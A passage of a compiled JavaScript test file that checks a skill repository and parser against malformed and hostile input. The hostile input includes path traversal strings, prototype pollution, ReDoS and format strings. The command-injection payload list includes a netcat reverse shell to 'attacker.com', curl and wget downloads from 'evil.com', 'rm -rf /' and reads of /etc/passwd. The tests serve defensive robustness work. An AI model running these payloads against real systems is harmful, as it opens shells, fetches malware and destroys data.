'..%2F..%2F..%2Fetc%2Fpasswd',
|
|
467
|
+
'..%252f..%252f..%252fetc%252fpasswd',
|
|
468
|
+
'..\\..\\..\\..\\..\\..\\..\\etc\\passwd',
|
|
469
|
+
'%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd',
|
|
470
|
+
'....\\....\\....\\etc\\passwd',
|
|
471
|
+
'..//..//..//etc/passwd',
|
|
472
|
+
'skill/../../../etc/passwd',
|
|
473
|
+
];
|
|
474
|
+
for (const payload of pathTraversalPayloads) {
|
|
475
|
+
const skill = {
|
|
476
|
+
id: payload,
|
|
477
|
+
name: 'path-traversal-test',
|
|
478
|
+
description: 'Testing path traversal',
|
|
479
|
+
};
|
|
480
|
+
// Should not throw - should handle gracefully
|
|
481
|
+
expect(() => {
|
|
482
|
+
try {
|
|
483
|
+
repo.create(skill);
|
|
484
|
+
}
|
|
485
|
+
catch {
|
|
486
|
+
// May reject invalid IDs
|
|
487
|
+
}
|
|
488
|
+
}).not.toThrow();
|
|
489
|
+
}
|
|
490
|
+
});
|
|
491
|
+
it('should handle path traversal in repo URL', () => {
|
|
492
|
+
const skill = {
|
|
493
|
+
name: 'url-traversal-skill',
|
|
494
|
+
repoUrl: 'file:///../../../etc/passwd',
|
|
495
|
+
};
|
|
496
|
+
expect(() => repo.create(skill)).not.toThrow();
|
|
497
|
+
});
|
|
498
|
+
});
|
|
499
|
+
describe('Prototype Pollution', () => {
|
|
500
|
+
it('should not be vulnerable to prototype pollution via __proto__', () => {
|
|
501
|
+
const pollutionPayloads = [
|
|
502
|
+
{ name: '__proto__', description: 'Pollution attempt' },
|
|
503
|
+
{ name: 'constructor', description: 'Constructor pollution' },
|
|
504
|
+
{ name: 'prototype', description: 'Prototype pollution' },
|
|
505
|
+
];
|
|
506
|
+
for (const payload of pollutionPayloads) {
|
|
507
|
+
expect(() => repo.create(payload)).not.toThrow();
|
|
508
|
+
}
|
|
509
|
+
// Verify Object prototype is not polluted
|
|
510
|
+
expect({}.polluted).toBeUndefined();
|
|
511
|
+
});
|
|
512
|
+
it('should handle __proto__ in JSON-like fields', () => {
|
|
513
|
+
const content = `---
|
|
514
|
+
name: proto-test
|
|
515
|
+
__proto__:
|
|
516
|
+
polluted: true
|
|
517
|
+
constructor:
|
|
518
|
+
prototype:
|
|
519
|
+
isAdmin: true
|
|
520
|
+
---`;
|
|
521
|
+
expect(() => parser.parse(content)).not.toThrow();
|
|
522
|
+
// Verify no pollution
|
|
523
|
+
expect({}.polluted).toBeUndefined();
|
|
524
|
+
expect({}.isAdmin).toBeUndefined();
|
|
525
|
+
});
|
|
526
|
+
it('should handle deeply nested pollution attempts', () => {
|
|
527
|
+
const skill = {
|
|
528
|
+
name: 'nested-pollution',
|
|
529
|
+
description: '{"__proto__": {"polluted": true}}',
|
|
530
|
+
tags: ['__proto__', 'constructor', 'prototype'],
|
|
531
|
+
};
|
|
532
|
+
expect(() => repo.create(skill)).not.toThrow();
|
|
533
|
+
expect({}.polluted).toBeUndefined();
|
|
534
|
+
});
|
|
535
|
+
});
|
|
536
|
+
describe('Command Injection Patterns', () => {
|
|
537
|
+
it('should safely store command injection patterns', () => {
|
|
538
|
+
const commandInjectionPayloads = [
|
|
539
|
+
'; ls -la',
|
|
540
|
+
'| cat /etc/passwd',
|
|
541
|
+
'`whoami`',
|
|
542
|
+
'$(whoami)',
|
|
543
|
+
'&& rm -rf /',
|
|
544
|
+
'; echo "pwned" > /tmp/pwned',
|
|
545
|
+
'| nc attacker.com 4444 -e /bin/sh',
|
|
546
|
+
'; curl http://evil.com/shell.sh | sh',
|
|
547
|
+
'`id`',
|
|
548
|
+
'$(`id`)',
|
|
549
|
+
"'; /bin/bash -i",
|
|
550
|
+
'|| wget http://evil.com/malware',
|
|
551
|
+
'\n/bin/bash',
|
|
552
|
+
'\x00/bin/sh',
|
|
553
|
+
'{{7*7}}', // SSTI
|
|
554
|
+
'${7*7}', // SSTI
|
|
555
|
+
'#{7*7}', // SSTI
|
|
556
|
+
'<%= system("whoami") %>', // ERB injection
|
|
557
|
+
];
|
|
558
|
+
for (const payload of commandInjectionPayloads) {
|
|
559
|
+
const skill = {
|
|
560
|
+
name: `cmd-test-${commandInjectionPayloads.indexOf(payload)}`,
|
|
561
|
+
description: payload,
|
|
562
|
+
};
|
|
563
|
+
expect(() => repo.create(skill)).not.toThrow();
|
|
564
|
+
}
|
|
565
|
+
});
|
|
566
|
+
it('should handle command injection in SKILL.md parsing', () => {
|
|
567
|
+
const content = `---
|
|
568
|
+
name: $(whoami)
|
|
569
|
+
author: \`id\`
|
|
570
|
+
description: |
|
|
571
|
+
; rm -rf /
|
|
572
|
+
| cat /etc/passwd
|
|
573
|
+
&& echo pwned
|
|
574
|
+
---`;
|
|
575
|
+
expect(() => parser.parse(content)).not.toThrow();
|
|
576
|
+
});
|
|
577
|
+
});
|
|
578
|
+
describe('ReDoS (Regular Expression Denial of Service)', () => {
|
|
579
|
+
it('should handle ReDoS payloads in search queries', () => {
|
|
580
|
+
const redosPayloads = [
|
|
581
|
+
'a'.repeat(50) + '!',
|
|
582
|
+
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaab',
|
|
583
|
+
'x'.repeat(100) + 'y',
|
|
584
|
+
'(a+)+b'.repeat(10),
|
|
585
|
+
'((a+)+)+'.repeat(5),
|
|
586
|
+
];
|
|
587
|
+
for (const payload of redosPayloads) {
|
|
588
|
+
const startTime = performance.now();
|
|
589
|
+
// FTS5 may throw syntax errors on special chars like ! or parentheses
|
|
590
|
+
// The key is that it completes quickly (no ReDoS hang)
|
|
591
|
+
expect(() => {
|
|
592
|
+
try {
|
|
593
|
+
search.search({ query: payload });
|
|
594
|
+
}
|
|
595
|
+
catch (e) {
|
|
596
|
+
// SqliteError for FTS5 syntax is acceptable (quick rejection)
|
|
597
|
+
if (e instanceof Error && e.message.includes('fts5')) {
|
|
598
|
+
return; // FTS5 syntax error is safe and quick
|
|
599
|
+
}
|
|
600
|
+
throw e; // Re-throw unexpected errors
|
|
601
|
+
}
|
|
602
|
+
}).not.toThrow();
|
|
603
|
+
const duration = performance.now() - startTime;
|
|
604
|
+
// Should complete quickly, not hang
|
|
605
|
+
expect(duration).toBeLessThan(1000);
|
|
606
|
+
}
|
|
607
|
+
});
|
|
608
|
+
it('should handle ReDoS in skill names', () => {
|
|
609
|
+
const skill = {
|
|
610
|
+
name: 'a'.repeat(10000),
|
|
611
|
+
description: 'ReDoS test',
|
|
612
|
+
};
|
|
613
|
+
const startTime = performance.now();
|
|
614
|
+
expect(() => repo.create(skill)).not.toThrow();
|
|
615
|
+
const duration = performance.now() - startTime;
|
|
616
|
+
expect(duration).toBeLessThan(1000);
|
|
617
|
+
});
|
|
618
|
+
});
|
|
619
|
+
describe('Buffer Overflow Patterns', () => {
|
|
620
|
+
it('should handle very long strings without crashing', () => {
|
|
621
|
+
const lengths = [1000, 10000, 100000, 1000000];
|
|
622
|
+
for (const len of lengths) {
|
|
623
|
+
const longString = 'A'.repeat(len);
|
|
624
|
+
const skill = {
|
|
625
|
+
name: `long-${len}`,
|
|
626
|
+
description: longString,
|
|
627
|
+
};
|
|
628
|
+
expect(() => repo.create(skill)).not.toThrow();
|
|
629
|
+
}
|
|
630
|
+
});
|
|
631
|
+
it('should handle format string attacks', () => {
|
|
632
|
+
const formatStrings = [
|
|
633
|
+
'%s%s%s%s%s%s%s%s%s%s',
|
|
634
|
+
'%x%x%x%x%x%x%x%x%x%x',
|
|
635
|
+
'%n%n%n%n%n%n%n%n%n%n',
|
|
636
|
+
'%d%d%d%d%d%d%d%d%d%d',
|
|
637
|
+
'%.10000000s',
|
|
638
|
+
'%99999999s',
|
|
639
|
+
];
|
|
640
|
+
for (const payload of formatStrings) {
|
|
641
|
+
const skill = {
|
|
642
|
+
name: `format-${formatStrings.indexOf(payload)}`,
|
|
643
|
+
description: payload,
|
|
644
|
+
};
|
|
645
|
+
expect(() => repo.create(skill)).not.toThrow();
|
|
646
|
+
}
|
|
647
|
+
});
|
|
648
|
+
});
|
|
649
|
+
});
|
|
650
|
+
// ============================================================================
|
|
651
|
+
// 4. NETWORK ERROR SIMULATION
|
|
652
|
+
// ============================================================================
|
|
653
|
+
describe('Network Errors', () => {
|
|
654
|
+
describe('Rate Limit Simulation', () => {
|
|
655
|
+
it('should handle rapid sequential operations', () => {
|
|
656
|
+
const operations = 100;
|
|
657
|
+
const startTime = performance.now();
|
|
658
|
+
for (let i = 0; i < operations; i++) {
|
|
659
|
+
expect(() => repo.create({
|
|
660
|
+
name: `rapid-skill-${i}`,
|
|
661
|
+
description: 'Rapid creation test',
|
|
662
|
+
})).not.toThrow();
|
|
663
|
+
}
|
|
664
|
+
const duration = performance.now() - startTime;
|
|
665
|
+
// Should handle 100 ops reasonably
|
|
666
|
+
expect(duration).toBeLessThan(5000);
|
|
667
|
+
});
|
|
668
|
+
it('should handle burst search operations', () => {
|
|
669
|
+
// Create some skills first
|
|
670
|
+
repo.createBatch(Array.from({ length: 50 }, (_, i) => ({
|
|
671
|
+
name: `burst-skill-${i}`,
|
|
672
|
+
description: 'Burst test skill',
|
|
673
|
+
})));
|
|
674
|
+
const searchCount = 50;
|
|
675
|
+
const startTime = performance.now();
|
|
676
|
+
for (let i = 0; i < searchCount; i++) {
|
|
677
|
+
expect(() => search.search({ query: 'burst' })).not.toThrow();
|
|
678
|
+
}
|
|
679
|
+
const duration = performance.now() - startTime;
|
|
680
|
+
// 50 searches should complete quickly with caching
|
|
681
|
+
expect(duration).toBeLessThan(2000);
|
|
682
|
+
});
|
|
683
|
+
});
|
|
684
|
+
describe('Timeout Handling', () => {
|
|
685
|
+
it('should handle very complex queries within timeout', () => {
|
|
686
|
+
// Create skills with varied content
|
|
687
|
+
repo.createBatch(Array.from({ length: 200 }, (_, i) => ({
|
|
688
|
+
name: `complex-skill-${i}`,
|
|
689
|
+
description: `This is a complex skill with many words for testing ${i}`,
|
|
690
|
+
tags: Array.from({ length: 20 }, (_, j) => `tag-${i}-${j}`),
|
|
691
|
+
})));
|
|
692
|
+
const complexQueries = [
|
|
693
|
+
'complex skill testing words many',
|
|
694
|
+
'tag tag tag tag tag',
|
|
695
|
+
'a b c d e f g h i j k l m n o p',
|
|
696
|
+
];
|
|
697
|
+
for (const query of complexQueries) {
|
|
698
|
+
const startTime = performance.now();
|
|
699
|
+
expect(() => search.search({ query })).not.toThrow();
|
|
700
|
+
const duration = performance.now() - startTime;
|
|
701
|
+
// Should complete within reasonable time
|
|
702
|
+
expect(duration).toBeLessThan(1000);
|
|
703
|
+
}
|
|
704
|
+
});
|
|
705
|
+
});
|
|
706
|
+
describe('Partial Response Handling', () => {
|
|
707
|
+
it('should handle pagination at data boundaries', () => {
|
|
708
|
+
// Create exactly 25 skills
|
|
709
|
+
repo.createBatch(Array.from({ length: 25 }, (_, i) => ({
|
|
710
|
+
name: `boundary-skill-${i}`,
|
|
711
|
+
description: 'Boundary test',
|
|
712
|
+
})));
|
|
713
|
+
// Test various pagination scenarios
|
|
714
|
+
const scenarios = [
|
|
715
|
+
{ limit: 10, offset: 0 }, // First page
|
|
716
|
+
{ limit: 10, offset: 10 }, // Second page
|
|
717
|
+
{ limit: 10, offset: 20 }, // Partial last page
|
|
718
|
+
{ limit: 10, offset: 25 }, // Empty page
|
|
719
|
+
{ limit: 10, offset: 30 }, // Beyond data
|
|
720
|
+
{ limit: 100, offset: 0 }, // More than available
|
|
721
|
+
{ limit: 1, offset: 24 }, // Single item at end
|
|
722
|
+
];
|
|
723
|
+
for (const scenario of scenarios) {
|
|
724
|
+
expect(() => search.search({
|
|
725
|
+
query: 'boundary',
|
|
726
|
+
...scenario,
|
|
727
|
+
})).not.toThrow();
|
|
728
|
+
}
|
|
729
|
+
});
|
|
730
|
+
it('should handle zero limit gracefully', () => {
|
|
731
|
+
expect(() => search.search({ query: 'test', limit: 0 })).not.toThrow();
|
|
732
|
+
});
|
|
733
|
+
it('should handle negative offset gracefully', () => {
|
|
734
|
+
expect(() => {
|
|
735
|
+
try {
|
|
736
|
+
search.search({ query: 'test', offset: -1 });
|
|
737
|
+
}
|
|
738
|
+
catch {
|
|
739
|
+
// May throw validation error
|
|
740
|
+
}
|
|
741
|
+
}).not.toThrow();
|
|
742
|
+
});
|
|
743
|
+
});
|
|
744
|
+
describe('Concurrent Operations', () => {
|
|
745
|
+
it('should handle concurrent reads and writes', async () => {
|
|
746
|
+
// Create base skills
|
|
747
|
+
repo.createBatch(Array.from({ length: 20 }, (_, i) => ({
|
|
748
|
+
name: `concurrent-skill-${i}`,
|
|
749
|
+
description: 'Concurrent test',
|
|
750
|
+
})));
|
|
751
|
+
// Simulate concurrent operations (synchronous but interleaved)
|
|
752
|
+
const operations = [];
|
|
753
|
+
for (let i = 0; i < 10; i++) {
|
|
754
|
+
operations.push(() => search.search({ query: 'concurrent' }));
|
|
755
|
+
operations.push(() => repo.create({
|
|
756
|
+
name: `new-concurrent-${i}`,
|
|
757
|
+
description: 'New concurrent skill',
|
|
758
|
+
}));
|
|
759
|
+
}
|
|
760
|
+
for (const op of operations) {
|
|
761
|
+
expect(op).not.toThrow();
|
|
762
|
+
}
|
|
763
|
+
});
|
|
764
|
+
});
|
|
765
|
+
});
|
|
766
|
+
// ============================================================================
|
|
767
|
+
// 5. BOUNDARY CONDITIONS
|
|
768
|
+
// ============================================================================
|
|
769
|
+
describe('Boundary Conditions', () => {
|
|
770
|
+
describe('Empty and Whitespace Inputs', () => {
|
|
771
|
+
it('should handle empty string search', () => {
|
|
772
|
+
expect(() => {
|
|
773
|
+
try {
|
|
774
|
+
search.search({ query: '' });
|
|
775
|
+
}
|
|
776
|
+
catch {
|
|
777
|
+
// May throw validation error for empty query
|
|
778
|
+
}
|
|
779
|
+
}).not.toThrow();
|
|
780
|
+
});
|
|
781
|
+
it('should handle whitespace-only inputs', () => {
|
|
782
|
+
const whitespaceInputs = [' ', '\t\t\t', '\n\n\n', '\r\n\r\n', ' \t\n '];
|
|
783
|
+
for (const input of whitespaceInputs) {
|
|
784
|
+
expect(() => {
|
|
785
|
+
try {
|
|
786
|
+
search.search({ query: input });
|
|
787
|
+
}
|
|
788
|
+
catch {
|
|
789
|
+
// May throw validation error
|
|
790
|
+
}
|
|
791
|
+
}).not.toThrow();
|
|
792
|
+
}
|
|
793
|
+
});
|
|
794
|
+
});
|
|
795
|
+
describe('Numeric Boundaries', () => {
|
|
796
|
+
it('should handle quality score boundaries', () => {
|
|
797
|
+
const scores = [0, 0.5, 1, -0.1, 1.1, Number.MAX_VALUE, Number.MIN_VALUE, NaN, Infinity];
|
|
798
|
+
for (const score of scores) {
|
|
799
|
+
expect(() => {
|
|
800
|
+
try {
|
|
801
|
+
repo.create({
|
|
802
|
+
name: `score-${scores.indexOf(score)}`,
|
|
803
|
+
qualityScore: score,
|
|
804
|
+
});
|
|
805
|
+
}
|
|
806
|
+
catch {
|
|
807
|
+
// May reject invalid scores
|
|
808
|
+
}
|
|
809
|
+
}).not.toThrow();
|
|
810
|
+
}
|
|
811
|
+
});
|
|
812
|
+
it('should handle limit/offset boundaries', () => {
|
|
813
|
+
const values = [
|
|
814
|
+
Number.MAX_SAFE_INTEGER,
|
|
815
|
+
Number.MIN_SAFE_INTEGER,
|
|
816
|
+
2147483647, // Max 32-bit signed int
|
|
817
|
+
-2147483648, // Min 32-bit signed int
|
|
818
|
+
];
|
|
819
|
+
for (const val of values) {
|
|
820
|
+
expect(() => {
|
|
821
|
+
try {
|
|
822
|
+
search.search({ query: 'test', limit: val });
|
|
823
|
+
}
|
|
824
|
+
catch {
|
|
825
|
+
// May reject extreme values
|
|
826
|
+
}
|
|
827
|
+
}).not.toThrow();
|
|
828
|
+
}
|
|
829
|
+
});
|
|
830
|
+
});
|
|
831
|
+
describe('Date/Time Edge Cases', () => {
|
|
832
|
+
it('should handle skills with extreme timestamps', () => {
|
|
833
|
+
// Skills will have auto-generated timestamps, but we can test retrieval
|
|
834
|
+
const skill = repo.create({
|
|
835
|
+
name: 'timestamp-test',
|
|
836
|
+
description: 'Testing timestamps',
|
|
837
|
+
});
|
|
838
|
+
expect(skill.createdAt).toBeDefined();
|
|
839
|
+
expect(skill.updatedAt).toBeDefined();
|
|
840
|
+
});
|
|
841
|
+
});
|
|
842
|
+
});
|
|
843
|
+
});
|
|
844
|
+
//# sourceMappingURL=EdgeCases.test.js.map
|